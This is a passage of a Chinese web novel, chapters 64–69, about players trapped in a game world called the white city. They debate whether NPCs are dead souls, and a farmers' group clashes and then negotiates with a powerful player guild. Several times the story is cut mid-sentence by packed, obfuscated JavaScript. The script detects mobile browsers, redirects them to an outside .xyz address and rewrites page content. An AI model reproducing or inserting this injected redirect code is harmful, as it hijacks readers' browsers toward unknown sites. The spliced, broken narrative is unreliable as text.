她惊出一身冷汗,没有来由地想到进入“游戏”的那一天,那个被撤走的展台,漂浮如雾的白丝,以及展台上黑底白字的介绍:白丝是今年最神奇的发明,它可以模拟网络的作用,以不可思议的物理接触连通数据…… 物理接触,连通数据。连通,意味着能够传输,那么,如果传输的不是数据,是人呢? 白丝,白城,白塔,白刺。 白色。 一层冰冷的寒意顺着脊椎直透脑门。 林屿把知道的说出来以后,每一个人都怔住了,一时间热闹的讨论会场鸦雀无声,人们看向彼此的脸,证明自己不是幻听。 “可是老师、我,还有严叔不是玩游戏进来的,我们当时去了西南边城,去考察……”说到这里他愣了,言教授从来没有说过考察什么,只是带他到处看,让他完善自己的课题,而自己却不说目的是什么。 沉默发酵,何芝诧异地看向韩舒,突然记起言教授曾说过的话:贪心不足、贪心不足啊,一样东西没有被研究明白之前是不能推广的,简直和中世纪用水银治病没什么两样! 孟锦竹忍不住出声,“所以,到底是灵异还是人为?” 何芝斩钉截铁:“人为。” 孙覃一口咬定:“灵异。”他转头看了看何芝,又补充道:“也可能是人为。” 林屿总结:“所以可能是纯粹灵异,也可能是人利用了灵异?” “不是灵异,是高科技。”严开吉纠正。 “都一样,反正都是些莫名其妙的东西。”林屿扶额,开始怀疑自己科研道路的意义。 何芝已经想通了思路,“源头,我们要找到世界的源头。” 有什么直通世界的源头,或者和始作俑者有关呢? 林屿:“系统。” 65. 第六十五章 对系统的研究如火如荼地开展,但是没过两天,这股热情就无风自灭,让人提不起劲来,原因无他,没有燃料的火焰终将熄灭。 系统是那个不可燃物。 在任何电器都能搭载一个AI模块的21世纪末期,这个神秘的游戏世界里支配所有玩家的系统——显得过于呆板了,它根本无法互动,像是旧年代的电子老古董,只能按照预设的功能运行,而预设的功能只有发布任务,总结得分或惩罚,以及惩罚白城内伤人的玩家这几项简单的进程。 玩家没办法和系统交流,根本没有这个模块,任种植者们把系统面板上各个部分研究了个透,犄角旮旯都拿着放大镜找了一遍,依然没有找到任何对话框。 “老严开始认同孙覃的看法了,他说高维技术不可能这么拉胯。”种植者大楼四楼的天台,何芝站在一米五高的围墙边,注视着远方的白塔,和塔下人流往来的玩家。 孙覃认为这个世界构成的元素是灵异,而灵异通常和古旧电影联系在一起,是过去人们津津乐道而如今被人们抛弃的怪谈。 灵异总是不讲道理,或者看似有道理,和科幻一样。 “系统这条路走不通。”何芝叹了一口气,“得想别的办法接触幕后核心。” 林屿靠在围墙旁边,楼下行人脚步匆匆,根本没有注意到楼顶的人,他们匆匆地“游戏”,匆匆地回“家”,生怕在外面多停留一秒,即使脱离了原来的社会,也依旧如同社畜一般碌碌。她突然说道:“其实我觉得这里和外面没有区别。” 或者说,越来越像外界了。 何芝的目光移过来。 林屿展开笑容,“不能从系统突破,那就从人下手。NPC的问题很大。” 何芝:“你认为NPC是人?” 林屿:“虽然没有直接证据,但我认为:是的。” 何芝:“可是他们并没有把我们当成同类,说实话,我见到的NPC从来没有对人的同情心。” “那要看‘人’的定义是什么了。”林屿转过头看着她,“我说他们是‘人’,是因为他们有人的思维,有情感,有过往——虽然大部分记不起来,他们一旦摆脱系统控制,就会违背原定的路线,而自由意志,是我判断的标准。” “是啊,人是有自由意志的。”何芝看着远方的白塔,目光却无法聚焦,白塔下,是挣扎沉沦的玩家,白塔内,是暗无天日的拘束牢笼。 “他们不帮助玩家,是因为他们充满恨意,他们比玩家多了一样东西:执念。”林屿顿了顿,“你想到了什么?” “怨魂。”何芝立刻吐出这两个字,又不确定地补充,“应该是怨魂,或者说鬼、厉鬼之类的东西。” “所以,为什么NPC不能是人们抱憾死去的灵魂?” 那么NPC和玩家归根结底都是同类,可NPC无所不用其极地迫害玩家,玩家从心底瞧不上副本的走狗,这两者竟然是同类? 何芝本能地想要反驳,这太荒谬了!可是她张口,却不知道能说什么,为什么不能?这个世界不正是最最荒谬的源头吗?为什么能接受世界是由灵异构成,却不能接受NPC是人类这件事呢? 因为太过相似,却又如此不同。 人们不说猪狗是异类,却会说和自己思想不一的人是异类。 或许林屿不是第一个想到的人,但是绝大部分玩家都陷入了同样的盲区。玩家间最主流的看法是:NPC是数据生成的假人。 在AI越来越像人的今天,这很容易想到的猜测,甚至有些人觉得这模型不行,没有把NPC的行为设立得足够自然,其中一部分只知道机械地遵守教条,回答一点框架内的问题,超出一点就卡壳。 何芝仍然不能完全相信,的确,让人接受一个全新的看法需要时间,或者暴力,而现在两个条件都没有。 她尽量客观地问道:“有证据吗?” 何芝并不是一个顽固守旧的人,不然也不会在原本世界干上这份职业,也不会在众人沦落的异空间还坚持寻找一份真相,固守一个希望,她本可以让组织壮大,成为机构、公司、大公会,收割玩家,壮大自身,稀里糊涂或清醒地过得更好,更轻松。 林屿又笑,“都是我的猜测。” 她今天笑了两次,含蓄,仅仅牵动面部的神经,不带动手势,也没有前仰后合,似乎是受到严格的家教,而这和她给人文静的感觉一致。但是,她在副本里所作所为的一切,却只让人觉得胆大包天、冒险至极。 何芝还记得孙覃转述副本情况时她内心的波涛,那是一个九死一生的副本,却被她用超常手段打通了生路,可一直以来,她又不自觉地避免出头,避免走到风头正中的位置,甚至恨不得把自己藏进人群之中。 一个副本接一个副本,她似乎在褪去原先的束缚,逐渐释放囚禁的自我。只是不知道放出的是圣人,还是魔鬼。 ——一个以谦恭外表行疯狂之事的人,究竟是什么样的家庭才养得出这样的性格? 就在何芝试图看清眼前人的时候,又听她说,“按照这个猜测,可以得到一条推论,一条……对我们至关重要的推论。” “玩家可能变成NPC。” 何芝蓦然抬眼。 “死后。” …… 林屿留在天台吹风,不过说实话这里也没什么风,也没有白天夜晚,光线固定,温度恒定,稳定得虚假。玩家中也有不少人觉得白城也是虚拟空间。 但她不这么想。 温室。 像大棚里种蔬菜。 林屿觉得这个想法有些好笑,却又贴切。何芝离开后,她又留了会儿,看楼下人来人往,没有人仰头看一眼天空,因此也没有人发现楼顶的她。 景致一成不变,白塔高耸入云,颜色单调无聊,她看着成片白色楼房,忽然在想这些“现代化”的房屋都是怎样建造的,听说以前这里是一片荒地。 现在只有视线所及的天边是一片荒地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林屿目光透出一丝迷茫,“我不知道,我只是觉得,一切都很荒谬。我们这样正常地思考,正常地想要自由,在一些玩家看来就像是‘疯了’,他们觉得我们在异想天开,认为这里真的是一个高维无限流游戏,能让人修炼升级成超人。同样,我们这样分享食粮,在另一些人眼里也是‘疯了’,自己都吃不饱,为什么还有心思管别人,管得了一时管不了一世,而且这点量连塞牙缝都难,于事无补地拖累自己而已。” “刚才的人或许精神上有问题,但在别人眼里,我们也不过是另外一个她,都是在做一些莫名其妙的事。” “你是觉得我分享食物这个做法没有意义?”何芝斟酌措辞,准备解释。 “不。”林屿沉默了一会儿,才慢慢说道,“我在想的是,蚂蚁究竟是怎么回事。” 她看向何芝,“是不是很莫名其妙?” 女士之间的谈话本来还要继续,但被种植者门口一群凶神恶煞的玩家莫名其妙地打断了。 严开吉双手叉腰挡在门口,身后站着任向少年。五旬汉子皮肤黝黑,站在那里却有千军万马的气势,和另外一群人对峙不落下风。 “我说,他都说了不去,你们还在这里纠缠什么啊?大公会了不起了,就可以强抢民男?” 66.第六十六章 强抢民男?林屿在人群后环视一圈,发现人群大部分目光聚焦在任向身上,凶神恶煞的,不怀好意的,纯纯看戏的,看来他就是那个民男了。林屿在心里评估了一下他的姿色,打了百分制的70分,忽然反应过来,种植者,他是一个种植者。 任向露了一个头说道:“你们的邀请我收到了,但我不想加入什么公会组织,不要再逼迫了!” “不加入?你现在半只脚都踏进别人的房门了!这什么组织啊,没听说过,加入他们不如加入我们,我们玩家公会家业大,福利少不了你的。”为首的人丝毫没有放过他的打算,咄咄逼人地上前一步,身后的同伴也跟着上前,顿时把门口堵得水泄不通。 “别过来,再来我就举报了!”严开吉黑着脸说道。 “呵,只要我们不动手,你举报也没用啊,误报只会把你自己弄进去。”说着,他向身后的人挥了一下手,几人顿时往门口挤,看样子是想把严开吉和任向分开。 严开吉谨慎地后退一步,推了任向一把让他进门,然后飞快地转身准备把门锁死,然而就是转身时的一瞥,他看到了何芝和林屿两人,动作顿时慢了一拍。 玩家公会的几人扒住大门,已经把手垫进门缝里,这下再也不能强行关门,不然伤了人他们反手一个举报送人进小黑屋。 大门失守,眼看着强盗就要登堂入室,在众目睽睽之下把人带走,一颗不起眼的白色石子轻飘飘地穿过人群,砸在他们脚下。 轰—— 一阵爆裂巨响,地面凹陷,闯入大楼的几人跌倒在地,骇然地看着眼前的深坑。 何芝慢慢走近,看着玩家公会的几个人淡淡开口,“这里不欢迎你们。” 为首一人惊怒交加,手指在空中凌空乱动,似乎在拼命地点击举报按钮,然而十秒过去,依旧毫无动静,他难以置信地喃喃自语,“不可能,这不可能,为什么你没被惩罚?” 林屿先前一直对这讨厌的声音略感熟悉,现在看到侧脸,才发现这个带队的人是肖昌盛。也对,她养伤养了好几天,算算时间他也该从小黑屋放出来了,这个在副本一开场死去的反而是幸运儿。 “因为我没有伤到你们。”何芝说道,“但下次就不一定了,我可以直接砸中你们,而自己只不过走一趟小黑屋,很值得。” 肖昌盛脸上青白交加,何芝说对了,白城的规则有个漏洞,那就是伤人者虽然在被举报后会关小黑屋,但如果被伤害的人直接死亡,那么七天或者更长时间的小黑屋禁闭只是不值一提的代价。 只不过,很少有人的技能有这么强,能做到这种程度。 他勉力咽下惊惧与不忿,从地上爬起来,招呼跟班,“走!” 然后他看见了在一旁看戏的林屿。 “是你!” 林屿本来安安分分做个看客,等着首领处理“外部入侵”的几个人,也没打算前去“相认”什么的,却没想到看见自己之后,肖昌盛肉眼可见地激动起来。 “钱刚呢?他怎么一直没回来?你做了什么!” “我哪有这么大本事,你该去问系统做了什么。”林屿并不想掰扯,副本的异变说来话长还令人难以置信,没必要和不对付的人细细解释。 “你——”肖昌盛说着就想冲过来揪领子。 然而他刚冲了几步,却一下子回到原位,冲了几步,又回到原位,像一副不断卡帧闪回的影像,过了好几回才发觉情况。 “你做了什么——” 他身后的玩家惧怕地看着这离奇的一幕,脚不由自主往后挪,想要远离看上去非常不正常的肖昌盛。然而下一秒,室内景象一变,变成白茫茫的街道,围观的人群,以及他们方才进入的那栋毫不起眼的白色大楼。 “砰!”方才还打开一半的大门重重关闭,即使地面没有飞扬的尘土,他们也有吃了一鼻子灰的感觉。 “我们走!”肖昌盛恨恨地说道,他想到一个人,一个和他和钱刚一同进入副本的人。 …… 送走不速之客,任向感激地向她们道谢,“多亏了你们,否则我就被抓走了,玩家公会简直疯了!” 何芝道:“正常,系统商城涨价,他们没有一个种植者,现在肯定急得很,所以逮着一个死咬着不放手。” 任向听了之后忧心忡忡,“这下怎么办?我出去以后他们不会放过我,能不能……” 严开吉和任向合作种了很多回水稻小麦之类的粮食,知道他的品性,闻言对何芝说道:“要不……让他先在我们这住着吧,等老庄回来,他回来了就没人敢欺负他了。” 他口里的老庄是任向的保镖,现实中的,也是游戏里的,技能是酷炫并且杀伤力大的火焰,身手了得,他才是任向敢于不加入任何组织的底气。只不过这个人喜欢打本,前段时间又跑副本里去了,现在还没回来。 “当然可以,严叔,你带他去二楼收拾一间屋子出来。”何芝一口答应,没道理不留一位种植者在组织里。 林屿对任向了解不多,目送两人上楼后,扭头问何芝,“什么时候出下一次副本?我可以了。” “伤好了?” “七七八八吧。”林屿道。被手术刀划开的皮肤已经结痂,只不过内里肌肉没有那么容易长好,但那是个长期的活儿,一时半会儿改善不了。每次扯到伤口,她都在心里骂董事长一百遍,同时又会想起他的话:我没有帮系统,相反,我摧毁了它对副本的控制。 林屿想起在经理后颈上找不到的白刺,她觉得董事长的脖子后面一定也没有,因为她在白刺扎入他身体之后,才举报成功,让系统灭了他。 真有趣,她面无表情地想道,少长一根东西,摆脱一份控制。 所以系统是靠着控制NPC来建立副本规则的? 不,不全是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507727|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,NPC代表一部分,而副本的环境代表另一部分,像那些被封存的高危器材,第一个副本自动交替日夜,第二个副本太阳落山后缩小的世界范围,是规则的另一部分,这些是既定的,无法更改的。 所以副本是由固定的世界观,加上被操控的NPC组成的关卡。那么这些关卡究竟是为了什么目的而存在呢? “林屿?林屿?” 何芝在耳边叫她名字。 林屿抬头,看见何芝微蹙着眉,带着不明显的关切,“伤口真的没问题了吗?这么快下副本有些勉强,你再休息几天吧。” “实在是每天吃那么多不好意思。”林屿说道。她养伤期间,组织白养着她,米饭供应充足,虽然她也需要自己花点积分兑换些其他食物补充营养,但在同伴只有一天一顿免费或者更少的情况下,实在有些吃人嘴短,免费的才是最贵的,怕不是再过几天她得给组织卖命——虽然前几次也相差不离了。 “是你该得的,韩舒让我谢谢你,他知道言教授可能变成NPC之后,就时时刻刻留意传信纸上的消息,还真让他发现了线索。” 林屿:“传信纸?线索?” 何芝领着她上楼,“是这样的,言教授直至失踪都随身携带着传信纸,只不过之前他技能没升级,不能在副本和白城之间通讯,现在不一样了,只要言教授往纸上写了什么东西,他立刻就能看到。” “我只是随手捡的石头,是你们冒着危险试验出的情报。” “不,不止是这件事,韩舒在看到留言之后马上就要进副本,幸好有你之前的猜测,不然他根本冷静不了。知道言教授极有可能变成NPC,他才勉强同意等待合适时机,解密出留言的内容再计划行动,不然早就一头热地冲进副本了。”何芝目光染上笑意,“你比自己想象的还要厉害得多,你来之后,我们探索世界的突破接二连三,还没有人进小黑屋,这在之前是不敢想象的。” 林屿摸摸鼻子,“只是因缘际会,游戏世界在变,我每次都只是莽,能通关都靠运气。” “所有人通关都靠运气。”何芝说着把一样东西塞到她手里,“韩舒给你的谢礼,他一直在研究留言快要疯魔了,所以托我带给你。” 林屿低头一看,好大一块奶油淋漓甜香飘散的慕斯蛋糕,在以及白米饭配蔬菜多天的日子里简直可以称之为人间美味,系统商城里值好几百,几乎没人愿意花这冤枉积分买,她陡然觉得手里的东西有千斤重。 内心艰难交战了一会儿,林屿手下蛋糕谢礼,“我可以问那个留言是什么吗?或许多个人研究能多一份思路。” 何芝只思考了很短的时间,“当然可以,言教授留言的是一个数字,在此之后还没有新的消息。” “数字是:53。” 五三?林屿第一时间想到了遥远时间之外,她曾在中学痛苦做过的那本厚重的、罪恶的练习册。 67.第六十七章 虽然白城时间紊乱,但人体在生理上依然有自身的节律周期,每个人实际上入眠和醒来的时间大致圈定出二十四小时的轮廓,不依靠时间指针的读数,人们依然找到了日夜的秩序。 自从被卷入游戏以来,林屿急匆匆地进本,急匆匆地适应规则,留在白城的时间算来很短,现在拥有了大把可以挥霍的时间,却比之前还要无所适从。 不习惯,真的不习惯,这样不是在浪费时间,浪费生命吗?每分每秒都该为了完成目的而存在,二十多年她一直这么过来,一直这样相信,然后在此时此刻空置的生命里茫然无措。 本该是休息的时间,林屿却比四处走动的时候还要焦躁不安,想到出不去的世界,不间断的副本,还有解谜到一小半的真相,一桩桩一件件都标着未完成,何况自己还有学业,留级会成家里的羞耻,达不到那些美好的未来,自己还怎样抬头做人? 林屿翻来覆去,干脆坐起来,锤了锤身下和墙壁材质一致的硬床,心头一团左冲右突的乱麻,却又无从着力。不知何时空间里那块香甜的慕斯蛋糕出现在手上,她闻到奶油的香气,不由自主咽了咽唾沫,然后,轻轻咬了一口。 甜蜜充溢口腔,鲜花在阳光下绽放,她想起了日光明媚的午后,花树斑斓的园林,渐渐平静下来。一些美好的回忆浮现眼帘。 快乐。 比完成所有待办事项加起来都要快乐。 林屿啃完蛋糕,又剩下孤零零一个人在这个四四方方的房间里了,没有窗,却有光源,虽然只是建筑本身一成不变的白光,单薄、苍白,像是隔离间或者禁闭室,而能有稳定的住处已经是大部分玩家求之不得的了。 可是,这就是好吗?她又开始穷尽究底地思索,这就是作为人该满足的现状吗?如果此世界的幕后有操手,那么一定是精通管理的企业家,或者精通养殖的专业人士,最少的食水,最小的空间,养最多的人。 林屿拿出经理那颗伪装成假牙的石头,有一瞬间几乎想要联系贺望,用它来换取离开的机会,然而她又想到了两道明晃晃失望的眼神,深吸一口气,按捺心思,用指甲刮了刮假牙上层白色的釉质,嚓嚓,表面光洁如常。于是她发动技能,下一秒,一小块白色表层便被“给予”到旁边,露出棕色透明的内里。 第二回摸石头的效果不如第一回明显,技能的形状,所有的可能,绝大部分都是第一回呈现在脑海中的,林屿闭上眼睛,慢慢地感知,然而,不一会儿,甚至没有几秒钟,手指触碰着的地方升起灼热触感,逼得她松手。 难怪董事长和经理不直接去碰它,而是做成戒指和假牙,幸亏她只剥了一小块釉质层,林屿收起石头,准备试一试自己的技能。 她刚站起身,忽然一阵地动山摇,房间在颤抖,嘎吱嘎吱的响声下,墙壁上蜿蜒出一道道细细的裂缝。 地震? 林屿有些不敢置信,都游戏世界了还有地震?这也模拟得太真实了吧! 她跑出门外,看见同样慌忙出门的孟锦竹,于是拉着她向外逃生。 “白城竟然会地震?”孟锦竹也是一脸懵逼,看样子以前从未出现过这种情况。 林屿本来想下楼,然而天花板一块白石板掉下来,差点砸中她脑袋,往下还有两层,但往上只有一层,林屿直接跑上天台。 两人在天台上扶着围墙站稳,此时楼下也开始有跑动和呼喊下楼避难的声音,林屿正在思考这栋楼会不会坍塌,忽然眼神一顿,不对,旁边的楼房没动! 只有这栋楼在摇? “怎么回事,为什么只有我们楼地震?”孟锦竹也发现了这一点。 林屿四下张望,此时是大多数人休息的时间,街道行人寥寥,她看见一个匆匆离去的背影,顾不得其他,直接用飞行追踪而去。 “你去哪里?”孟锦竹被她突然的动作惊到,然而她的声音已经被远远地抛在后方。 林屿速度极快,然而人影不走直线,专往犄角旮旯钻,等她七扭八拐转过一个拐角,,只看见空荡荡的街道。 跟丢了。 林屿只好往回走,现在情况已经很清楚了,有人在使坏,专门破坏种植者的据点,联想到白天那场抢人大戏,幕后黑手是谁已经很清楚了:玩家公会。 走过几条街巷,她耳朵一动,听见叮叮当当的碎响,一个身穿黑色皮衣皮裤的人堵住去路。 “嗨,我们又见面了。”田子阳笑着打招呼。 林屿后退半步。 “别紧张,这回我是来帮你的。” …… 何芝在楼房开始摇动的很短时间内便组织起人手,疏散好外围成员,抢收粮食和道具。混乱平息,但很多人不敢住进来了,此刻围聚在一楼门厅的只剩下没有进副本的几个核心成员,还有不敢离开种植者保护的任向。 严开吉刚在天花板不断掉碎石的房间里抢收了庄稼,脑袋被砸了几个包,额头上全是累出来的汗水,此时忍不住跳起脚破口大骂,“那帮龟孙子!没本事抢人只知道背后捅刀子!还敢拆我们房子,要是让我知道他们住在哪直接卷铺盖上门赖着不走了!” 韩舒挂着两个黑眼圈,头发凌乱,衣服扣子是歪的,一副蜗居家中的宅男形象,他研究“53”这个数字好几天了,混乱之后终于从自己的世界里抽出神来,对严开吉说道:“这不正合他们的意,他们不就是要任向过去吗。” 任向一脸愧疚,“对不起,是我连累你们了,之后我会自己找地方躲起来。”说着,就要离开。 “等等!”何芝叫住他,“别把错往自己身上揽,谁也没想到他们会用这种手段。”她环视一圈,从刚才开始这里就少了两个人,“你们看到……” 话还没说完,孟锦竹就从楼上跑下来,“你们在这里!林屿、林屿她跳下去了现在还没回来——” “去了哪里?”何芝立刻问道。 “好像是去追什么人。” “哎呀,这太危险了!”严开吉急得一跺脚,“必须马上把她找回来!” 虽说白城有不得伤人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14534491|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 规则,但正如何芝之前威胁别人的话,规则不是没有漏洞的,只要让人失去知觉,那就没法举报,而如果是一瞬间致死的攻击,举报也换不回性命。不过林屿如果被捉住,最大的价值是作为人质,而没必要与规则作对刻意折磨她。 何芝是在场了解她的人,知道她的实力,闻言道:“不急,等她回来。” 话语刚落,门口就出现一个人。 林屿一进来就问在场的人,“你们有认识的建造师吗?” 建造师。 和种植者培育植物的技能对应,建造师的技能可以修筑楼房,白城原本只有残垣巨石,是觉醒建造技能的玩家一点点修筑了众多楼房供人居住,然而每一个后来的,没有亲眼见到这一幕的玩家都会忽略这一点。 这个世界太像个游戏了,而游戏安全区有房子不是理所应当的吗? “这栋楼是怎么来的?” 何芝环视一圈,同伴脸色各异,后来卷入这里的孟锦竹一脸疑惑,租房的任向同样不解,而参与种植者组织建立的韩舒与严开吉则若有所思。 她看向林屿,开口道:“曾经认识一个建造师,不过很久没有联系过了,你是发现什么了吗?” 林屿又问其他人,“你们还有没有认识的建造师?” 严开吉回答道:“倒是知道几个,你是想让他们帮忙补补楼,或是再修个房子?这个倒不急,先解决了麻烦再说。” 林屿闭了闭眼,“在解决麻烦之前,我们没有住的地方了。” “什么意思?”严开吉讶然,“我们还可以去租个住的地方啊?” 林屿:“有人告诉我,玩家公会垄断了大部分出租房源,如果发现是我们,他们就会直接拒绝。” 严开吉:“那我们还可以去找不属于玩家公会的房东啊!” “有人一直盯着我们。”林屿深吸一口气,“如果看我们找了别家,那么别家就会遭遇和我们一样的事。” 严开吉张大嘴,“太阴了!他们这是逼我们就范啊!为了一个种植者,至于吗?” 任向低垂着头,不安地绞手。 林屿看了他一眼,说道:“不是为了这个,玩家公会新换了领头,还有人不服她,众目睽睽之下派出去办事的人在我们这吃了大亏,她必须找回场子。” 严开吉懂了,“所以,这是逼我们把小任双手奉上啊!”说完他反应过来,“咦,你怎么知道这些的?” “有人告诉我的。”林屿看向孟锦竹,“田子阳,就是那个和我们一起出副本的骚气玩家,他是玩家公会的人。” “那他的话可信吗?”韩舒插嘴问了一句。 “不管可不可信,我们都要去找他们。”何芝定论道,“林屿,你问过他们的地址了吗?” “走吧,有人带路。”林屿打开身后的大门。 门口一阵清脆的锁链撞击声传来,穿得花里胡哨的田子阳回过身,对众人摆了个POS,笑道:“会长腿脚不便,所以只能麻烦你们多走几步上门了。” 68.第六十八章 早期的玩家公会是由现实中的一个职业玩家创建,他在新手副本之后就觉醒了强力的技能,加上职业便利带来的熟练度,很快他就成了玩家中的明星,在他组建了“玩家公会”这个与其他抱团取暖的组织迥异的团体时,吸引了大把自恃技能的人加入,整个公会从上到下都是一股“游戏人生”的氛围。 也因为他们的玩家心态,鼓励成员频繁进本,需要的一切都用积分购买,根本看不起其它组织招揽种植者苟且偷生的行为,因此直到会长销声匿迹很久之后,公会里依然没有一个种植者。 但他们利用积累的积分买下了许多玩家潦倒之后低价出售的房屋,转而将其出租营利,成员们不用天天下副本躺着就能赚钱,然而本该一路高歌向上的财富积累却被系统商城不断涨价打破了。 没想到游戏世界里也有通货膨胀,积分一下子贬值,只有实物才保值,虽然他们坐拥无数大楼,食物却是每天必须的消耗品。消耗品翻倍甚至三倍,支出也翻倍甚至三倍,很多成员开始抱怨积分不够花,用的比赚的多。 唐瑜妡在这个时候倡导改革,招揽种植者的理念获得支持,因而一举超越其他竞争对手,坐上了代理会长的位置。 几人由田子阳引路,来到离白塔最近的一栋高楼——虽然只有七层,但是在满大街平均层高两三层的衬托下鹤立鸡群了。出挑的不止这一栋,前后左右还有许多四五层的副楼拱卫着中心大楼,再往边上走大约不属于玩家公会的势力范围,变成了二三层居多参差不齐的小矮人。 林屿之前也看到过这处地方,好奇住在里面的会是什么人,没想到自己竟然会因为邀请而踏入这里。 出于安全考虑,何芝本意是独自前往,奈何田子阳说会长想问一些上个副本的情况,必须带上林屿,于是单刀赴宴变成两人同行,其余人被要求找个远离玩家公会的地方藏好,林屿心想这意思是万一人没回来,好歹有人替她们报仇。 呸呸呸,这又不是鸿门宴,正常的商业谈判,谈判而已,就算谈不拢也不至于灭口啊。 大楼内部空间宽敞,不过电梯是不要想了,根本造不出来,靠步行爬上七楼之后,林屿腿酸了,看着轻轻松松一滴汗也没出的何芝,默默调整了一会儿呼吸。 她只是个还在上学的学生而已,每天十几个小时不是在课堂就是在写论文,体力差一点很正常嘛。 田子阳敲了敲两扇合拢在一起的白色雕花大门,不一会儿大门从内打开,一个头发宛如狗啃般的少年露出脸来。 “唐姐让你们进去……咦咦咦?你不是隔壁那家的小姐姐吗?” 林屿瞳孔微震,差点因为惊诧而张嘴,好不容易维持住表情,“华浩俊?” “是我!没想到来的是林姐姐,我还说给你们个下马……额……”华浩俊反应过来,脸色一下子尴尬了,只好慌忙转移话题,“唐姐等你们很久了,快进来吧!” 大门打开后,七楼便一览无余了,没想到整层都被打通,墙面上镶嵌着透明不知材质的挡板,做出四面窗户,向外看过去,能看见白塔的塔身。 靠近窗户的地方有一个宽大的办公桌,一个卷发女人坐在桌后,看见来人,露出坐在轮椅上的身体,“欢迎,没想到种植者的朋友们认识我的左膀右臂。” 华浩俊听见左膀右臂时嘿嘿两声,掩饰不住脸上露出骄傲的表情。 林屿忍不住想要捂脸,太蠢了,真的,这副都市剧里给霸道总裁当小弟的模样,真的太蠢了,中二少年都不会喜欢这种剧码!不过话说他走失是在大约两年前,现在大概十四岁,正正当当的中二年纪……他一定不是纯种中二! “你爸爸妈妈一直在找你。”林屿对他说道。 华浩俊的脸色一下子变了,他眼里开始蓄积泪水,捏紧拳头,“呜呜,要是有办法告诉他们就好了,我现在过得很好,一人之下万人之上,让他们不要担心。” 林屿:“………………” 唐瑜妡坐在白色的和墙壁同材质的轮椅上,可能是听不下去华浩俊的尴尬发言,插话打断了叙旧,“好了,只要合作达成,相处有的是时间,先让客人坐下吧。” 坐下?这里空空旷旷,该不会让她们坐地上吧? 林屿正在疑惑间,华浩俊一招手,白色的地面往上拱起,变出了两把带靠背的椅子。 建造师!没想到他的技能竟然是这个! 那么,之前对种植者楼房下手的神秘人,她从楼顶跳下去没有追到的那个斗篷背影,就是华浩俊,她对门邻居家的儿子,一个隶属于玩家公会的中二少年? 林屿觉得这世界有些魔幻。 何芝已经开始和唐瑜妡交涉,“不知你说的合作是指什么,种植者组织因你们损失巨大,这就是你的诚意吗?” 唐瑜妡双手放在膝上,林屿注意到她的裤管被腿的轮廓撑起,看起来不是腿部残疾,她衣着整洁,头发打理得服帖,与街头巷尾衣容潦草的玩家对比鲜明。 “大公会有大公会的尊严,如果不是您动手在先,手底下的人也不会反应如此激烈,非要讨回场子不成,而我并非不通人情的会长。” 何芝:“可我记得,似乎是你们抓人在先。” “大约是哪里误会了。”唐瑜妡微笑,“玩家公会求贤若渴,恨不得用最高的礼遇把人请来,可能是过于热情惹人困扰了吧,你们看到他们有伤害那个叫任向的种植者吗?” “伤人可是违规,你们自然是不敢。”何芝冷淡道,不想再和她兜圈子讨论谁对谁错谁先动手的问题,对方高高在上抵赖的态度已经说明一切,“你想谈什么生意?” 唐瑜妡从桌面上取下一叠文件,让华浩俊递给何芝,“我们的确是带着诚意,房契上写的两栋楼就当是赔礼,白城和副本接连的变故让人不安,而每一次变动都是一次生存条件的恶化,玩家需要更加紧密地联合,不是吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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行吧,漫天要价,就地还钱,林屿说道:“既然田子阳告诉你了,那么你应该知道,现在的NPC已经到了可以影响副本的程度,这回我们进本之后没有任务的通知,能出来是靠着运气和误打误撞,如果之后的副本都是这样……” 唐瑜妡放在膝盖上的手无意识握紧成拳。 林屿笑道,“那么‘靠着副本为生’的玩家公会还能开办下去吗?” 唐瑜妡的脸色终于变了,虽然很快,她就调整好了失态,重新恢复波澜不惊的模样,“现在的玩家公会,不靠着通关的积分也能发展得很好。” 站在她身后的华浩俊露出了困惑的神色,对于真的把这里当游戏的人来说,想必是不认同这句话的。 林屿:“既然如此,想必我的消息对你们价值不大,那么我们就先告辞,去考虑是否接受合作条件了。”说完她站起身,一副不愿多谈的样子。 何芝也起身做出要离开的动作。 “等等。”唐瑜妡叫住两人,“只要能验证消息是真的。” 69.第六十九章 看来仅仅靠自己的说辞和田子阳的汇报还不够,这位代理会长想看的是证据,可惜白刺已经被用掉了,还有什么能够佐证呢? 林屿说道:“钱刚是你手下的人吧,他是不是没有回来,你知道为什么吗?” 唐瑜妡:“你想说他被异变NPC坑死在副本?这只是你和田子阳的主观猜测,人各有志,你们不愿意加入,他自然也可能想离开公会。” 林屿差点被气笑了,“你真觉得他会离开?”钱刚放着好不容易得来的地位和躺平的收租生活不要,会突然醒悟一言不发地离开流浪吗?至少他这样的人不会,唐瑜妡不可能不知道这点。 